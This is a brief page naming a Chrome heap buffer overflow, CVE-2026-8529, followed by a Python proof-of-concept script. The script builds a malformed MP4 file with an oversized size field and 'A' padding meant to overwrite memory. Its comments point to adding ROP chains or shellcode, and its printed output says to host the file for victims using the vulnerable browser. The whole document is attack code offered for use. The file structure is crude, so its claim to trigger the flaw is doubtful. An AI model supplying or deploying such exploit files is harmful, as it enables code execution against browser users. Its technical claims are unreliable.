CVE-2026-8529 Google Chrome 堆缓冲区溢出漏洞

import struct # This script generates a malformed video file to demonstrate the trigger mechanism. # It simulates a heap buffer overflow condition by manipulating header fields. def generate_exploit_video(filename): # Standard video file signature (simulated) file_signature = b'\x00\x00\x00\x20ftypmp42' # Malicious data block designed to trigger the overflow in Codecs # We set an excessively large size field to bypass boundary checks evil_size = struct.pack('<I', 0xFFFFFFF0) # Payload padding to fill the buffer and overwrite adjacent memory # In a real exploit, this would contain ROP chains or shellcode payload = b'A' * 5000 with open(filename, 'wb') as f: f.write(file_signature) f.write(evil_size) f.write(payload) print(f"[+] Malformed video file generated: {filename}") print("[+] Host this file on a web server and open it in the vulnerable Chrome version.") if __name__ == "__main__": generate_exploit_video("cve_2026_8529_poc.mp4")